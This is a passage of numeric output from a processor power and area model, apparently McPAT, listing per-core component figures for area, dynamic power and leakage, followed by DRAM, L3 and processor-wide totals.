'Load Store Unit/Data Cache/Peak Dynamic': 3.28455,
'Load Store Unit/Data Cache/Runtime Dynamic': 0.994797,
'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675,
'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085,
'Load Store Unit/Gate Leakage': 0.0350888,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.0662391,
'Load Store Unit/LoadQ/Runtime Dynamic': 0.0662391,
'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961,
'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 3.59734,
'Load Store Unit/Runtime Dynamic': 1.3877,
'Load Store Unit/StoreQ/Area': 0.322079,
'Load Store Unit/StoreQ/Gate Leakage': 0.00329971,
'Load Store Unit/StoreQ/Peak Dynamic': 0.163334,
'Load Store Unit/StoreQ/Runtime Dynamic': 0.326669,
'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621,
'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591321,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283293,
'Memory Management Unit/Area': 0.4339,
'Memory Management Unit/Dtlb/Area': 0.0879726,
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'Memory Management Unit/Dtlb/Peak Dynamic': 0.0579679,
'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0584702,
'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699,
'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485,
'Memory Management Unit/Gate Leakage': 0.00808595,
'Memory Management Unit/Itlb/Area': 0.301552,
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'Memory Management Unit/Itlb/Peak Dynamic': 0.191887,
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'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842,
'Memory Management Unit/Peak Dynamic': 0.447575,
'Memory Management Unit/Runtime Dynamic': 0.0780852,
'Memory Management Unit/Subthreshold Leakage': 0.0766103,
'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333,
'Peak Dynamic': 18.0454,
'Renaming Unit/Area': 0.303608,
'Renaming Unit/FP Front End RAT/Area': 0.131045,
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'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468,
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'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885,
'Renaming Unit/Free List/Area': 0.0340654,
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'Renaming Unit/Gate Leakage': 0.00708398,
'Renaming Unit/Int Front End RAT/Area': 0.0941223,
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'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228,
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'Renaming Unit/Runtime Dynamic': 0.353763,
'Renaming Unit/Subthreshold Leakage': 0.0552466,
'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461,
'Runtime Dynamic': 3.93478,
'Subthreshold Leakage': 6.16288,
'Subthreshold Leakage with power gating': 2.55328},
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'Execution Unit/Area': 7.68434,
'Execution Unit/Complex ALUs/Area': 0.235435,
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'Execution Unit/Floating Point Units/Area': 4.6585,
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'Execution Unit/Gate Leakage': 0.120359,
'Execution Unit/Instruction Scheduler/Area': 1.66526,
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'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519,
'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913,
'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223,
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'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262,
'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388,
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'Execution Unit/Integer ALUs/Area': 0.47087,
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'Execution Unit/Peak Dynamic': 4.5696,
'Execution Unit/Register Files/Area': 0.570804,
'Execution Unit/Register Files/Floating Point RF/Area': 0.208131,
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'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.0658233,
'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.00409958,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
'Execution Unit/Register Files/Gate Leakage': 0.000622708,
'Execution Unit/Register Files/Integer RF/Area': 0.362673,
'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992,
'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.0573979,
'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.0303189,
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'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675,
'Execution Unit/Register Files/Peak Dynamic': 0.123221,
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'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643,
'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912,
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'Execution Unit/Runtime Dynamic': 1.30012,
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'Instruction Fetch Unit/Area': 5.85939,
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'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221,
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'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.000112135,
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'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221,
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'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831,
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'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064,
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'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575,
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'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 4.12029e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732,
'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05,
'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.000435534,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.000761107,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.000945344,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0589979,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0291464,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 1.85396,
'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.0597954,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.0989942,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 4.16245,
'Instruction Fetch Unit/Runtime Dynamic': 0.189642,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932286,
'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843,
'L2/Area': 4.53318,
'L2/Gate Leakage': 0.015464,
'L2/Peak Dynamic': 0.0284543,
'L2/Runtime Dynamic': 0.00938939,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
'Load Store Unit/Area': 8.80901,
'Load Store Unit/Data Cache/Area': 6.84535,
'Load Store Unit/Data Cache/Gate Leakage': 0.0279261,
'Load Store Unit/Data Cache/Peak Dynamic': 2.02555,
'Load Store Unit/Data Cache/Runtime Dynamic': 0.39361,
'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675,
'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085,
'Load Store Unit/Gate Leakage': 0.0350888,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.0255076,
'Load Store Unit/LoadQ/Runtime Dynamic': 0.0255075,
'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961,
'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 2.146,
'Load Store Unit/Runtime Dynamic': 0.544912,
'Load Store Unit/StoreQ/Area': 0.322079,
'Load Store Unit/StoreQ/Gate Leakage': 0.00329971,
'Load Store Unit/StoreQ/Peak Dynamic': 0.0628973,
'Load Store Unit/StoreQ/Runtime Dynamic': 0.125794,
'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621,
'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591321,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283293,
'Memory Management Unit/Area': 0.4339,
'Memory Management Unit/Dtlb/Area': 0.0879726,
'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729,
'Memory Management Unit/Dtlb/Peak Dynamic': 0.0223225,
'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0227481,
'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699,
'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485,
'Memory Management Unit/Gate Leakage': 0.00808595,
'Memory Management Unit/Itlb/Area': 0.301552,
'Memory Management Unit/Itlb/Gate Leakage': 0.00393464,
'Memory Management Unit/Itlb/Peak Dynamic': 0.115272,
'Memory Management Unit/Itlb/Runtime Dynamic': 0.00980737,
'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758,
'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842,
'Memory Management Unit/Peak Dynamic': 0.309727,
'Memory Management Unit/Runtime Dynamic': 0.0325555,
'Memory Management Unit/Subthreshold Leakage': 0.0766103,
'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333,
'Peak Dynamic': 14.8057,
'Renaming Unit/Area': 0.303608,
'Renaming Unit/FP Front End RAT/Area': 0.131045,
'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123,
'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468,
'Renaming Unit/FP Front End RAT/Runtime Dynamic': 0.173151,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885,
'Renaming Unit/Free List/Area': 0.0340654,
'Renaming Unit/Free List/Gate Leakage': 2.5481e-05,
'Renaming Unit/Free List/Peak Dynamic': 0.0306032,
'Renaming Unit/Free List/Runtime Dynamic': 0.00651689,
'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144,
'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064,
'Renaming Unit/Gate Leakage': 0.00708398,
'Renaming Unit/Int Front End RAT/Area': 0.0941223,
'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242,
'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965,
'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.0460829,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228,
'Renaming Unit/Peak Dynamic': 3.58947,
'Renaming Unit/Runtime Dynamic': 0.225751,
'Renaming Unit/Subthreshold Leakage': 0.0552466,
'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461,
'Runtime Dynamic': 2.30237,
'Subthreshold Leakage': 6.16288,
'Subthreshold Leakage with power gating': 2.55328},
{'Area': 32.0201,
'Execution Unit/Area': 7.68434,
'Execution Unit/Complex ALUs/Area': 0.235435,
'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646,
'Execution Unit/Complex ALUs/Peak Dynamic': 1.88938e-06,
'Execution Unit/Complex ALUs/Runtime Dynamic': 0.20269,
'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111,
'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163,
'Execution Unit/Floating Point Units/Area': 4.6585,
'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156,
'Execution Unit/Floating Point Units/Peak Dynamic': 7.59011e-06,
'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033,
'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829,
'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061,
'Execution Unit/Gate Leakage': 0.120359,
'Execution Unit/Instruction Scheduler/Area': 1.66526,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.129628,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519,
'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913,
'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223,
'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562,
'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763,
'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.209085,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964,
'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262,
'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388,
'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608,
'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451,
'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.105539,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446,
'Execution Unit/Instruction Scheduler/Runtime Dynamic': 0.444252,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346,
'Execution Unit/Integer ALUs/Area': 0.47087,
'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291,
'Execution Unit/Integer ALUs/Peak Dynamic': 0.148254,
'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344,
'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222,
'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833,
'Execution Unit/Peak Dynamic': 4.11293,
'Execution Unit/Register Files/Area': 0.570804,
'Execution Unit/Register Files/Floating Point RF/Area': 0.208131,
'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788,
'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 1.43393e-06,
'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.00543717,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
'Execution Unit/Register Files/Gate Leakage': 0.000622708,
'Execution Unit/Register Files/Integer RF/Area': 0.362673,
'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992,
'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.0393181,
'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.0402112,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675,
'Execution Unit/Register Files/Peak Dynamic': 0.0393196,
'Execution Unit/Register Files/Runtime Dynamic': 0.0456484,
'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387,
'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643,
'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912,
'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402,
'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.0828328,
'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.212785,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543,
'Execution Unit/Runtime Dynamic': 1.31075,
'Execution Unit/Subthreshold Leakage': 1.79543,
'Execution Unit/Subthreshold Leakage with power gating': 0.688821,
'Gate Leakage': 0.368936,
'Instruction Fetch Unit/Area': 5.85939,
'Instruction Fetch Unit/Branch Predictor/Area': 0.138516,
'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.0018701,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.0018701,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.00168259,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000680751,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732,
'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05,
'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.000577638,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00600043,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.0160103,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0589979,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0386561,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 2.45886,
'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.145517,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.131293,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 4.79671,
'Instruction Fetch Unit/Runtime Dynamic': 0.337477,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932286,
'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843,
'L2/Area': 4.53318,
'L2/Gate Leakage': 0.015464,
'L2/Peak Dynamic': 0.0303119,
'L2/Runtime Dynamic': 0.00697325,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
'Load Store Unit/Area': 8.80901,
'Load Store Unit/Data Cache/Area': 6.84535,
'Load Store Unit/Data Cache/Gate Leakage': 0.0279261,
'Load Store Unit/Data Cache/Peak Dynamic': 2.40599,
'Load Store Unit/Data Cache/Runtime Dynamic': 0.57137,
'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675,
'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085,
'Load Store Unit/Gate Leakage': 0.0350888,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.0378158,
'Load Store Unit/LoadQ/Runtime Dynamic': 0.0378158,
'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961,
'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 2.58457,
'Load Store Unit/Runtime Dynamic': 0.795681,
'Load Store Unit/StoreQ/Area': 0.322079,
'Load Store Unit/StoreQ/Gate Leakage': 0.00329971,
'Load Store Unit/StoreQ/Peak Dynamic': 0.0932473,
'Load Store Unit/StoreQ/Runtime Dynamic': 0.186495,
'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621,
'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591321,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283293,
'Memory Management Unit/Area': 0.4339,
'Memory Management Unit/Dtlb/Area': 0.0879726,
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'Memory Management Unit/Dtlb/Peak Dynamic': 0.0330938,
'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0334243,
'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699,
'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485,
'Memory Management Unit/Gate Leakage': 0.00808595,
'Memory Management Unit/Itlb/Area': 0.301552,
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'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758,
'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842,
'Memory Management Unit/Peak Dynamic': 0.365841,
'Memory Management Unit/Runtime Dynamic': 0.057649,
'Memory Management Unit/Subthreshold Leakage': 0.0766103,
'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333,
'Peak Dynamic': 15.4798,
'Renaming Unit/Area': 0.303608,
'Renaming Unit/FP Front End RAT/Area': 0.131045,
'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123,
'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468,
'Renaming Unit/FP Front End RAT/Runtime Dynamic': 4.18606e-06,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885,
'Renaming Unit/Free List/Area': 0.0340654,
'Renaming Unit/Free List/Gate Leakage': 2.5481e-05,
'Renaming Unit/Free List/Peak Dynamic': 0.0306032,
'Renaming Unit/Free List/Runtime Dynamic': 0.0058485,
'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144,
'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064,
'Renaming Unit/Gate Leakage': 0.00708398,
'Renaming Unit/Int Front End RAT/Area': 0.0941223,
'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242,
'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965,
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'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228,
'Renaming Unit/Peak Dynamic': 3.58947,
'Renaming Unit/Runtime Dynamic': 0.0716074,
'Renaming Unit/Subthreshold Leakage': 0.0552466,
'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461,
'Runtime Dynamic': 2.58014,
'Subthreshold Leakage': 6.16288,
'Subthreshold Leakage with power gating': 2.55328}],
'DRAM': {'Area': 0,
'Gate Leakage': 0,
'Peak Dynamic': 7.056263446185596,
'Runtime Dynamic': 7.056263446185596,
'Subthreshold Leakage': 4.252,
'Subthreshold Leakage with power gating': 4.252},
'L3': [{'Area': 61.9075,
'Gate Leakage': 0.0484137,
'Peak Dynamic': 0.329531,
'Runtime Dynamic': 0.0711912,
'Subthreshold Leakage': 6.80085,
'Subthreshold Leakage with power gating': 3.32364}],
'Processor': {'Area': 191.908,
'Gate Leakage': 1.53485,
'Peak Dynamic': 72.1072,
'Peak Power': 105.219,
'Runtime Dynamic': 14.7057,
'Subthreshold Leakage': 31.5774,
'Subthreshold Leakage with power gating': 13.9484,
'Total Cores/Area': 128.669,
'Total Cores/Gate Leakage': 1.4798,
'Total Cores/Peak Dynamic': 71.7777,
'Total Cores/Runtime Dynamic': 14.6345,
'Total Cores/Subthreshold Leakage': 24.7074,
'Total Cores/Subthreshold Leakage with power gating': 10.2429,
'Total L3s/Area': 61.9075,
'Total L3s/Gate Leakage': 0.0484137,
'Total L3s/Peak Dynamic': 0.329531,
'Total L3s/Runtime Dynamic': 0.0711912,
'Total L3s/Subthreshold Leakage': 6.80085,
'Total L3s/Subthreshold Leakage with power gating': 3.32364,
'Total Leakage': 33.1122,
'Total NoCs/Area': 1.33155,
'Total NoCs/Gate Leakage': 0.00662954,
'Total NoCs/Peak Dynamic': 0.0,
'Total NoCs/Runtime Dynamic': 0.0,
